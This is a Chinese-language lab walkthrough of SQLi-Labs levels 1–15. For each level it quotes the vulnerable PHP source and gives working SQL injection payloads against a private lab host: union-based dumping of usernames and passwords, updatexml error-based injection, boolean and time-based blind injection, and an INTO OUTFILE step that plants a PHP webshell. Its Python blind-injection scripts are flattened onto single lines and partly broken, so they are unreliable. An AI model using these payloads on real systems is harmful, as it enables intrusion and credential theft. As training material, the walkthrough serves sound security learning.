sqllab靶场练习第1~15关

1、第一关

代码解析

if(isset($_GET['id']))//判断获取的id字段是否为空
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');//打开这个文件，记录操作的日志
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity 


$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

查看第一关源码后，发现对用户的输入没有做任何的过滤。

sql注入代码：

http://192.168.208.143/sqllab/Less-1/?id=1

闭合单引号，再使用--+注释后面的单引号（关于--+的解释w3c官方标准：https://www.w3.org/TR/html4/interact/forms.html#h-17.13.4.1），使用order by函数求列数，用1代表第一列来排序，将数字从1到4，发现没有第4列

注：关于+代表空格解释，如若不明白可参考这篇文章https://www.cnblogs.com/xiaxveliang/p/14438336.html

http://192.168.208.143/sqllab/Less-1/?id=1%27order%20by%201;--+

http://192.168.208.143/sqllab/Less-1/?id=1%27order%20by%204;--+

union联合查询

http://192.168.208.143/sqllab/Less-1/?id=1%27union%20select%201,2,3;--+

让第一个表为空（让它查不到数据），显示联合查询的第二个表的数据。

http://192.168.208.143/sqllab/Less-1/?id=-1%27union%20select%201,2,3;--+

http://192.168.208.143/sqllab/Less-1/?id=-1%27union%20select%201,user(),database();--+

查看数据库拥有的表

MYsql数据库自带四个数据库：informatio_schema、mysql、performance_schema、sys

在information_schema数据库中拥有所有数据库的信息，查看security的表名

select table_name from tables where table_schema='security';

http://192.168.208.143/sqllab/Less-1/?id=-1%27union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=%27security%27;--+

查看users拥有的列名

select column_name from columns where table_schema='security' and table_name='users';

http://192.168.208.143/sqllab/Less-1/?id=-1%27union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27;--+

查看用户名和密码

http://192.168.208.143/sqllab/Less-1/?id=-1%27union%20select%201,group_concat(username),group_concat(password)%20from%20security.users;--+

第2关

将第1关的单引号闭合删掉，就是第2关

源码：

if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);// connectivity 
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

sql注入：

http://192.168.208.143/sqllab/Less-2/?id=-1%20union%20select%201,group_concat(username),group_concat(password)%20from%20security.users;--+

第3关

改变一下闭合方式

源码：

if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);// connectivity $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

sql注入：

http://192.168.208.143/sqllab/Less-3/?id=-1%27)%20union%20select%201,group_concat(username),group_concat(password)%20from%20security.users;--+

第4关

改变一下闭合方式

源码：

if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);// connectivity $id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

SQL注入：

http://192.168.208.143/sqllab/Less-4/?id=-1%22)%20union%20select%201,group_concat(username),group_concat(password)%20from%20security.users;--+

第5关

通过改变一下闭合方式，发现注入不成功

http://192.168.208.143/sqllab/Less-5/?id=-1%27%20union%20select%201,group_concat(username),group_concat(password)%20from%20security.users;--+

源码：

if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);// connectivity $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);if($row){echo '<font size="5" color="#FFFF00">';	echo 'You are in...........';echo "<br>";echo "</font>";}else {echo '<font size="3" color="#FFFF00">';print_r(mysql_error());echo "</br></font>";	echo '<font color= "#0000ff" font size= 3>';	}
}else { echo "Please input the ID as parameter with numeric value";}

查看源码后，发现，可以通过报错，注入

SQL注入：

http://192.168.208.143/sqllab/Less-5/?id=-1%27%20and%20updatexml(1,concat(0x7e,(select%20substr(group_concat(username,0x3a,password),1,32)from%20users),0x7e),1);--+

updatexml函数一次只能显示32位，可以利用substr函数，以32位单位来截取

第6关

将第5关的单引号闭合方式，更改为双引号闭合

源码：

if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);// connectivity $id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

SQL注入：

http://192.168.208.143/sqllab/Less-6/?id=-1%22%20and%20updatexml(1,concat(0x7e,(select%20substr(group_concat(username,0x3a,password),1,32)from%20users),0x7e),1);--+

剩下的与第5关一样

第7关

将闭合方式改为'))

源码：

if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);// connectivity $sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);if($row){echo '<font color= "#FFFF00">';	echo 'You are in.... Use outfile......';echo "<br>";echo "</font>";}else {echo '<font color= "#FFFF00">';echo 'You have an error in your SQL syntax';//print_r(mysql_error());echo "</font>";  }
}else { echo "Please input the ID as parameter with numeric value";}

SQL注入：

http://192.168.208.143/sqllab/Less-7/?id=-1%27))%20and%20updatexml(1,concat(0x7e,(select%20substr(group_concat(username,0x3a,password),1,32)from%20users),0x7e),1);--+

注：

第七关还有一个outfile漏洞可以注入webshell，但是该漏洞的利用条件十分苛刻，条件如下：

1、该用户权限必须为root权限

2、必须知道网站的物理路径，如D:\\...

3、mysql文件中的secure_file_priv文件的值，必须为空，不能是null或物理路径

查看语句

必须像这样，如若不是，该漏洞无法利用。

修改secure_file_priv的值,可参考这篇文章：Windows mysql secure_file_priv 设置_secure-file-priv=-CSDN博客

http://sqlmaps/Less-7/?id=-1%27))%20union%20select%201,2,%22%3C?php%20phpinfo();?%3E%22%20into%20outfile%20%22D:/dev_soft/phpstudy_pro/WWW/sqli-labs-master/web.php%22--+

第8关

源码：

if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);// connectivity $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);if($row){echo '<font size="5" color="#FFFF00">';	echo 'You are in...........';echo "<br>";echo "</font>";}else {echo '<font size="5" color="#FFFF00">';//echo 'You are in...........';//print_r(mysql_error());//echo "You have an error in your SQL syntax";echo "</br></font>";	echo '<font color= "#0000ff" font size= 3>';	}
}else { echo "Please input the ID as parameter with numeric value";}

查看源码后，发现报错不打印，union也不行。利用真假来注入

SQL注入：

http://192.168.208.143/sqllab/Less-8/?id=1%27%20and%20ascii(substr(database(),1,1))%3E114--+

http://192.168.208.143/sqllab/Less-8/?id=1%27%20and%20ascii(substr(database(),1,1))%3E115--+

发现数据库的第一个字母为ascii的115，对照ASCII码表，发现是s;但是手工一个一个注入太麻烦，可以利用Python执行布尔盲注脚本

url = 'http://192.168.208.143/sqllab/Less-8/'def inject_database(url):name = ''for i in range(1,20):for j in range(32,129):payload = "1' and ascii(substr(database(), %d, 1)) = %d -- " % (i, j)res = {"id":payload}r = requests.get(url, params=res)if "You are in..........." in r.text:name = name + chr(j)print(name)breakelse:continue
inject_database(url)

第9关

源码：

if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);// connectivity $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);if($row){echo '<font size="5" color="#FFFF00">';	echo 'You are in...........';echo "<br>";echo "</font>";}else {echo '<font size="5" color="#FFFF00">';echo 'You are in...........';//print_r(mysql_error());//echo "You have an error in your SQL syntax";echo "</br></font>";	echo '<font color= "#0000ff" font size= 3>';	}
}else { echo "Please input the ID as parameter with numeric value";}

查看源码后，发现不管是正确或错误都是you are in;可以利用时间差来判断

SQL注入：

http://192.168.208.143/sqllab/Less-9/?id=1%27%20and%20if(ascii(substr(database(),1,1))%3E110,%20sleep(3),%200)--+

当值为真时，时间大于sleep的时间，当值为假时，时间小于sleep的时间。

时间盲注：

url = 'http://192.168.208.143/sqllab/Less-9/'def inject_database(url):name = ''for i in range(1, 20):low = 32high = 128mid = (low + high) // 2while low < high:payload = "1' and if(ascii(substr(database(), %d, 1)) > %d, sleep(1), 0)-- " % (i, mid)res = {"id": payload}start_time = time.time()r = requests.get(url, params=res)end_time = time.time()if end_time - start_time >= 1:low = mid + 1else:high = midmid = (low + high) // 2if mid == 32:breakname = name + chr(mid)print(name)inject_database(url)

第10关

将第9关的闭合方式修改一下

源码：

if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);// connectivity $id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

SQL注入：

url = 'http://192.168.208.143/sqllab/Less-10/'def inject_database(url):name = ''for i in range(1, 20):low = 32high = 128mid = (low + high) // 2while low < high:payload = "1" and if(ascii(substr(database(), %d, 1)) > %d, sleep(1), 0)-- " % (i, mid)res = {"id": payload}start_time = time.time()r = requests.get(url, params=res)end_time = time.time()if end_time - start_time >= 1:low = mid + 1else:high = midmid = (low + high) // 2if mid == 32:breakname = name + chr(mid)print(name)inject_database(url)

第11关

源码：

if(isset($_POST['uname']) && isset($_POST['passwd']))
{$uname=$_POST['uname'];$passwd=$_POST['passwd'];//logging the connection parameters to a file for analysis.$fp=fopen('result.txt','a');fwrite($fp,'User Name:'.$uname);fwrite($fp,'Password:'.$passwd."\n");fclose($fp);// connectivity @$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";$result=mysql_query($sql);$row = mysql_fetch_array($result);if($row){//echo '<font color= "#0000ff">';	echo "<br>";echo '<font color= "#FFFF00" font size = 4>';//echo " You Have successfully logged in\n\n " ;echo '<font size="3" color="#0000ff">';	echo "<br>";echo 'Your Login name:'. $row['username'];echo "<br>";echo 'Your Password:' .$row['password'];echo "<br>";echo "</font>";echo "<br>";echo "<br>";echo '<img src="../images/flag.jpg"  />';	echo "</font>";}else  {echo '<font color= "#0000ff" font size="3">';//echo "Try again looser";print_r(mysql_error());echo "</br>";echo "</br>";echo "</br>";echo '<img src="../images/slap.jpg" />';	echo "</font>";  }
}

SQL注入：

admin' union select 1,user()#

手工注入太麻烦，我们可以使用burpsuite工具来注入

第12关

跟第11关相同，只用修改闭合方式

源码：

if(isset($_POST['uname']) && isset($_POST['passwd']))
{$uname=$_POST['uname'];$passwd=$_POST['passwd'];//logging the connection parameters to a file for analysis.$fp=fopen('result.txt','a');fwrite($fp,'User Name:'.$uname."\n");fwrite($fp,'Password:'.$passwd."\n");fclose($fp);// connectivity$uname='"'.$uname.'"';$passwd='"'.$passwd.'"'; @$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";$result=mysql_query($sql);$row = mysql_fetch_array($result);

第13关

源码：

if(isset($_POST['uname']) && isset($_POST['passwd']))
{$uname=$_POST['uname'];$passwd=$_POST['passwd'];//logging the connection parameters to a file for analysis.$fp=fopen('result.txt','a');fwrite($fp,'User Name:'.$uname."\n");fwrite($fp,'Password:'.$passwd."\n");fclose($fp);// connectivity @$sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";$result=mysql_query($sql);$row = mysql_fetch_array($result);if($row){//echo '<font color= "#0000ff">';	echo "<br>";echo '<font color= "#FFFF00" font size = 4>';//echo " You Have successfully logged in " ;echo '<font size="3" color="#0000ff">';	echo "<br>";//echo 'Your Login name:'. $row['username'];//echo "<br>";//echo 'Your Password:' .$row['password'];//echo "<br>";echo "</font>";echo "<br>";echo "<br>";echo '<img src="../images/flag.jpg"   />';	echo "</font>";}else  {echo '<font color= "#0000ff" font size="3">';//echo "Try again looser";print_r(mysql_error());echo "</br>";echo "</br>";echo "</br>";echo '<img src="../images/slap.jpg"   />';	echo "</font>";  }

查看源码，发现正确不提示，报错提示，可以使用报错注入

SQL注入：

min') and updatexml(1, concat(0x7e,(select distinct concat(0x7e,(select table_name),0x7e)from information_schema.tables where table_schema='security' limit 0,1 ),0x7e),1)#

第14关

跟第13关闭合方式不一样，修改一下就OK了

源码：

if(isset($_POST['uname']) && isset($_POST['passwd']))
{$uname=$_POST['uname'];$passwd=$_POST['passwd'];//logging the connection parameters to a file for analysis.$fp=fopen('result.txt','a');fwrite($fp,'User Name:'.$uname."\n");fwrite($fp,'Password:'.$passwd."\n");fclose($fp);// connectivity$uname='"'.$uname.'"';$passwd='"'.$passwd.'"'; @$sql="SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1";$result=mysql_query($sql);

第15关

源码：

if(isset($_POST['uname']) && isset($_POST['passwd']))
{$uname=$_POST['uname'];$passwd=$_POST['passwd'];//logging the connection parameters to a file for analysis.$fp=fopen('result.txt','a');fwrite($fp,'User Name:'.$uname);fwrite($fp,'Password:'.$passwd."\n");fclose($fp);// connectivity @$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";$result=mysql_query($sql);$row = mysql_fetch_array($result);if($row){//echo '<font color= "#0000ff">';	echo "<br>";echo '<font color= "#FFFF00" font size = 4>';//echo " You Have successfully logged in\n\n " ;echo '<font size="3" color="#0000ff">';	echo "<br>";//echo 'Your Login name:'. $row['username'];echo "<br>";//echo 'Your Password:' .$row['password'];echo "<br>";echo "</font>";echo "<br>";echo "<br>";echo '<img src="../images/flag.jpg"  />';	echo "</font>";}else  {echo '<font color= "#0000ff" font size="3">';//echo "Try again looser";//print_r(mysql_error());echo "</br>";echo "</br>";echo "</br>";echo '<img src="../images/slap.jpg"   />';	echo "</font>";  }
}

查看源码后，发现只能根据图片判断是否注入成功

SQL注入：

布尔盲注：

url = 'http://192.168.208.143/sqllab/Less-15/'def inject_database(url):name = ''for i in range(1,20):for j in range(32,129):data = {"uname":"admin' and ascii(substr(database(), %d, 1)) = %d#" %(i,j),"passwd":"a"r = requests.post(url, data=data)if "flag.jpg" in r.text:name = name + chr(j)print(name)breakelse:continue
inject_database(url)

时间盲注：

url = 'http://192.168.208.143/sqllab/Less-15/'
def inject_database(url):name = ''for i in range(1,20):for j in range(32,129):database_payload = {"uname": "admin' and if(ascii(substr(database(),%d,1))=%d,sleep(2),1)#" % (i, j),"passwd": "1"}time1 = datetime.datetime.now()res = requests.post(url, database_payload)time2 = datetime.datetime.now()difference = (time2 - time1).secondsif difference > 1:name += chr(j)print("数据库名为->" + name)
inject_database(url)